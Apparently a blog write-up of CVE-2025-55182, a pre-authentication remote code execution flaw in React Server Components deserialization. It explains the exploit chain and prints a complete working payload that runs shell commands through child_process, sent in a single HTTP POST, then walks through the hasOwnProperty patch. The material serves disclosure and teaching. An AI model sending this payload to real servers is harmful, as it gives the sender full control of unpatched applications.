Credits: https://github.com/msanft/CVE-2025-55182 & https://x.com/rauchg/status/1997362942929440937
The Core Problem: Trusting Untrustworthy Data
React Server Components have a feature where the client (your browser) can send data back to the server. The vulnerability exists because React was deserializing this data without properly checking if it’s safe.
What is Deserialization?
Think of it like this:
- Serialization = packing data into a format for transport (like putting items in a box to ship)
- Deserialization = unpacking that data on the other end (opening the box)
The problem is: what if someone puts a bomb in the box instead of your package?
How the Attack Works
- Attacker sends a malicious HTTP request to your React Server Components application
- The request contains specially crafted data disguised as normal RSC payload
- The server unpacks (deserializes) this data without validating it’s safe
- Hidden inside this data are instructions to execute code on the server
- The server runs this code, giving the attacker complete control
Let me break down this vulnerability using the actual React code and explain how the exploit chain works:
The Flight Protocol & Chunks
React Server Components use the Flight protocol to serialize data between client and server. Data is sent as “chunks” — pieces that can reference each other:
// Example of how chunks work normally
files = {
"0": '["$1"]', // Array referencing chunk 1
"1": '{"object":"fruit","name":"$2:fruitName"}', // Object with reference to chunk 2
"2": '{"fruitName":"cherry"}', // Actual data
}
// This deserializes to:
{ object: 'fruit', name: 'cherry' }
The $ syntax means "reference another chunk". React resolves these references during deserialization.
The Vulnerability: Missing Property Check
Before the patch, when React resolved chunk references, it didn’t verify if the property actually existed on the object. Here’s the vulnerable code:
// VULNERABLE CODE (pre-patch)
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
return moduleExports[metadata[NAME]]; // NO CHECK IF PROPERTY EXISTS
}
This meant you could access prototype chain properties like __proto__, constructor, etc.
Step 1: Accessing the Function Constructor
An attacker can craft a payload that traverses the prototype chain to reach JavaScript’s Function constructor:
files = {
"0": '["$1:__proto__:constructor:constructor"]',
"1": '{"x":1}',
}
Breaking this down:
-
$1→ Get chunk 1 (which is{"x":1}) -
:__proto__→ Access the object's prototype -
:constructor→ GetObject.constructor -
:constructor→ GetFunction.constructor(which is theFunctionconstructor itself)
This deserializes to:
[Function: Function]
Step 2: The “Thenable” Trick
React’s code awaits the result of deserialization:
// action-handler.ts (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
When you await an object that has a .then() method (called a "thenable"), JavaScript automatically calls that method. An attacker can create a chunk that sets .then to the Function constructor:
files = {
"0": '{"then":"$1:__proto__:constructor:constructor"}',
"1": '{"x":1}',
}
Now chunk 0 is an object with .then set to Function. When React awaits it, it calls Function(), which tries to create a new function!
Step 3: The Self-Referential Chunk (The Clever Part)
Here’s where it gets really tricky. React has a special syntax $@ that returns the raw chunk object itself, not its resolved value:
// In React's code
case "@":
return (
(obj = parseInt(value.slice(2), 16)),
getChunk(response, obj) // Returns the Chunk object itself
);
React’s Chunk objects are thenables - they have a .then() method:
// React's Chunk implementation
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // This processes the chunk
// ...
}
}
An attacker creates a self-referential chunk that overwrites its own .then() with Chunk.prototype.then:
files = {
"0": '{"then": "$1:__proto__:then", "status": "resolved_model"}',
"1": '"$@0"', // References the raw chunk 0
}
What happens:
- Chunk 0 sets its
.thenproperty toChunk.prototype.then - When React awaits chunk 0, it calls
Chunk.prototype.then - Since
statusis"resolved_model", it callsinitializeModelChunk
Step 4: The Second Deserialization Pass
Inside initializeModelChunk, React parses the .value property as JSON again:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel), // Parse .value as JSON
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ... resolve references again
}
This gives the attacker a second pass at deserialization with more control, because they can now control the chunk._response object.
Step 5: The RCE Gadget — Blob Handling
React has code for handling blob data with the $B prefix:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj) // Calls .get()
);
The attacker crafts a fake _response object where:
-
_formDatapoints to the Function constructor -
_prefixcontains their malicious code
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Triggers blob handling
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", // Points to Function
},
},
}
When the blob code runs:
response._formData.get(response._prefix + "0")
// Becomes:
Function("process.mainModule.require('child_process').execSync('calc');0")
This creates a function containing the attacker’s code, which then gets called automatically because it’s returned as a .then() method that React awaits.
The Complete Exploit
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": '{"then": "$B0"}',
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Send this as an HTTP POST request with header Next-Action: foo and the server will execute calc (or any command).
The Complete Patch: All Three Critical Fixes
According to Sebastian Markbage (React core team), there were actually two critical hasOwnProperty checks that were missing. The fix involves three key changes:
Fix #1: Property Traversal in getOutlinedModel() (MOST CRITICAL)
The most critical vulnerability was in the path traversal loop in ReactFlightReplyServer.js:
// VULNERABLE CODE (pre-patch)
function getOutlinedModel(/* ... */) {
// ... code ...
const path = ref.split(':');
for (let i = 1; i < path.length; i++) {
const name = path[i];
value = value[name]; // NO CHECK - Can access __proto__, constructor, etc!
}
// ... code ...
}
This loop takes references like $1:__proto__:constructor:constructor and blindly traverses the object path, allowing access to prototype chain properties.
THE FIX:
// PATCHED CODE
function getOutlinedModel(/* ... */) {
// ... code ...
const path = ref.split(':');
for (let i = 1; i < path.length; i++) {
const name = path[i];
// CRITICAL FIX: Verify property exists on object itself
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
value = value[name];
} else {
return undefined; // Stop traversal if property doesn't exist
}
}
// ... code ...
}
As Sebastian Markbage noted: "These hasOwnProperty checks were the ones that were missing. This is the critical fix. Without it, you can drill into objects not created by the parser itself."
Fix #2: Module Export Access in requireModule() (Important Defense-in-Depth)
In all the React Server DOM packages (webpack, turbopack, parcel, esm), the requireModule function was also vulnerable:
// VULNERABLE CODE (pre-patch)
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
return moduleExports[metadata[NAME]]; // access prototype properties
}
THE FIX:
// PATCHED CODE
import hasOwnProperty from 'shared/hasOwnProperty';
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
// Verify the export actually exists on the module
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any); // Return undefined for non-existent exports
}
Sebastian Markbage noted this was "the other one" and added: "The ones on the module is not that critical but good to have" — meaning it's defense-in-depth, not the primary vulnerability.
Fix #3: Error Handling in decodeReplyFromBusboy()
The fix also adds proper error handling to prevent exploitation attempts from crashing the server in a way that might leak information:
// Field handling - wrapped in try-catch
busboyStream.on('field', (name, value) => {
if (pendingFiles > 0) {
queuedFields.push(name, value);
} else {
try {
resolveField(response, name, value);
} catch (error) {
busboyStream.destroy(error); // Safely destroy stream on error
}
}
});
// File completion handling - wrapped in try-catch
value.on('end', () => {
try {
resolveFileComplete(response, name, file);
pendingFiles--;
if (pendingFiles === 0) {
for (let i = 0; i < queuedFields.length; i += 2) {
resolveField(response, queuedFields[i], queuedFields[i + 1]);
}
queuedFields.length = 0;
}
} catch (error) {
busboyStream.destroy(error); // Safely handle errors during file processing
}
});
Why The Fix Works: Breaking the Exploit Chain
The exploit chain required all of these steps to work:
-
Access
__proto__via path traversal → BLOCKED by Fix #1 - Traverse to
Chunk.prototype.then→ BLOCKED by Fix #1 - Create self-referential chunk → Still possible, but useless without step 1-2
- Trigger double deserialization → Still possible, but controlled data is now safe
- Access Function constructor → BLOCKED by Fix #1 and #2
By adding hasOwnProperty checks at the critical points, the entire exploit chain collapses. The key insight is that this single missing check allows $1:__proto__:then to traverse from a chunk object, up the prototype chain, to Chunk.prototype.then — and the fix prevents exactly that.
Why This is So Bad
- Works before authentication — happens during deserialization
- No user interaction needed — just send one HTTP request
- Default configurations vulnerable — no developer mistakes required
- Nearly 100% reliable — not a timing or race condition
- Complete RCE — attacker gets full server access
This vulnerability is a masterclass in exploit chaining — taking multiple small weaknesses (prototype access, thenable handling, self-references, double deserialization) and combining them into complete remote code execution.
Top comments (0)